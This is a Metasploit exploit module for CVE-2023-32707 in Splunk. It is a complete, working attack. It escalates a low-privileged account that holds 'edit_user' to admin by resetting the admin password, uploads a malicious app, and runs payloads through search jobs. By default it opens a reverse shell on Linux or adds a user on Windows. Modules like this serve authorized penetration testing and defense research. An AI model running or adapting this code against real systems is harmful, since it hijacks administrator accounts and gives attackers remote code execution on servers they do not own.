Splunk "edit_user" Capability Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Splunk

  attr_accessor :cookie

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Splunk "edit_user" Capability Privilege Escalation',
        'Description' => %q{
          A low-privileged user who holds a role that has the "edit_user" capability assigned to it
          can escalate their privileges to that of the admin user by providing a specially crafted web request.
          This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf
          configuration file, which prevents this scenario from happening.

          This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE.
        },
        'Author' => [
          'Mr Hack (try_to_hack) Santiago Lopez', # discovery
          'Heyder Andrade', # metasploit module
          'Redway Security <redwaysecurity.com>' # Writeup and PoC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2023-32707' ],
          [ 'URL', 'https://advisory.splunk.com/advisories/SVD-2023-0602' ], # Vendor Advisory
          [ 'URL', 'https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html' ], # Writeup
          [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707' ] # PoC
        ],
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true
        },
        'Platform' => %w[linux unix win osx],
        'Targets' => [
          [
            'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux',
            {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python',
                # just to avoid the error because of the clean up: 'error retrieving current directory: getcwd: cannot access parent directories:'
                'AutoRunScript' => 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME'
              }
            }
          ],
          [
            'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8000,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # requests are logged in the _audit index
            # ARTIFACTS_ON_DISK # app is removed in the cleanup method
          ]
        },
        'DisclosureDate' => '2023-06-01'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password for the specified username']),
        OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']),
        OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]),
        OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/(\s|-|_){1,}/, '')])
      ]
    )
    # That depends on finding a strategy to distinguish commands that return output and commands that don't
    # register_advanced_options(
    #   [
    #     OptBool.new('ReturnOutput', [ true, 'Display command output', false ])
    #   ]
    # )
  end

  def check
    self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
      'method' => 'GET',
      'cookie' => cookie,
      'vars_get' => {
        'output_mode' => 'json'
      }
    })

    return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200

    body = res.get_json_document
    version = Rex::Version.new(body['generator']['version'])

    return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless (
      (Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) ||
      (Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) ||
      (Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14'))
    )

    print_status("Detected Splunk version #{version} which is vulnerable")
    capabilities = body['entry'].first['content']['capabilities']

    return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user'

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )

    CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability")
  end

  def app_name
    datastore['APP_NAME']
  end

  # The cleanup method is removing the app before the session is closed and it is broking the session.
  #
  def cleanup
    return unless session_created?

    super
    # Destroy job
    vprint_status("Cleaning up: destroying job #{@job_id}")
    send_request_cgi({
      'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id),
      'method' => 'DELETE',
      'cookie' => cookie
    })
    # Remove app
    vprint_status("Cleaning up: removing app #{app_name}")
    execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'),
      'method' => 'POST',
      'cookie' => cookie,
      'vars_post' => {
        'splunk_form_key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
      }
    })
  end

  def exploit
    splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
    self.cookie = splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])

    if splunk_upload_app(app_name, cookie)
      vprint_status('Splunk app uploaded successfully')
    else
      fail_with(Failure::Unknown, 'Failed to upload app')
    end

    @job_id = execute_command(payload.encoded, { app_name: app_name })
    # TODO: distinguish commands that return output and commands that don't
    # fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output' && !datastore['ReturnOutput']
    # if datastore['ReturnOutput']
    #   print_status('Waiting for command output')
    #   print_line(splunk_fetch_job_output)
    # end
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi({
      'uri' => '/en-US/api/search/jobs',
      'method' => 'POST',
      'cookie' => cookie,
      'headers' =>
        {
          'X-Requested-With' => 'XMLHttpRequest',
          'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
        },
      'vars_post' =>
        {
          'auto_cancel' => '62',
          'status_buckets' => '300',
          'output_mode' => 'json',
          'search' => "|  #{app_name} #{Rex::Text.encode_base64(cmd)}",
          'earliest_time' => '-1@h',
          'latest_time' => 'now',
          'ui_dispatch_app' => (opts[:app_name]).to_s
        }
    })

    fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless res&.code == 200

    body = res.get_json_document

    fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data']

    body['data']
  end

  def splunk_change_password(username, password)
    # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
    self.cookie ||= splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie

    print_status("Changing '#{username}' password to #{password}")
    res = send_request_cgi({
      'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
      'method' => 'POST',
      'headers' => {
        'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"],
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'cookie' => cookie,
      'vars_post' => {
        'output_mode' => 'json',
        'password' => password,
        'force-change-pass' => 0,
        'locked-out' => 0
      }
    })

    fail_with(Failure::UnexpectedReply, "Unable to change #{username}'s password.") unless res&.code == 200

    print_good("Password of the user '#{username}' has been changed to #{password}")

    body = res.get_json_document
    capabilities = body['entry'].first['content']['capabilities']

    fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
  end

  # def splunk_fetch_job_output
  #   res = send_request_cgi({
  #     'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
  #     'method' => 'GET',
  #     'keep_cookies' => true,
  #     'cookie' => cookie,
  #     'vars_get' => {
  #       'output_mode' => 'json'
  #     }
  #   })

  #   fail_with(Failure::UnexpectedReply, "Unable to get JOB results. Unexpected reply (HTTP #{res.code})") unless res&.code == 200

  #   body = res.get_json_document

  #   fail_with(Failure::UnexpectedReply, "Splunk reply: #{body['messages'].collect { |h| h['text'] if h['type'] == 'ERROR' }.join('\n')}") if body['results'].empty?

  #   Rex::Text.decode_base64(body['results'].first['result'])
  # end

  def cookies_hash
    cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
  end

end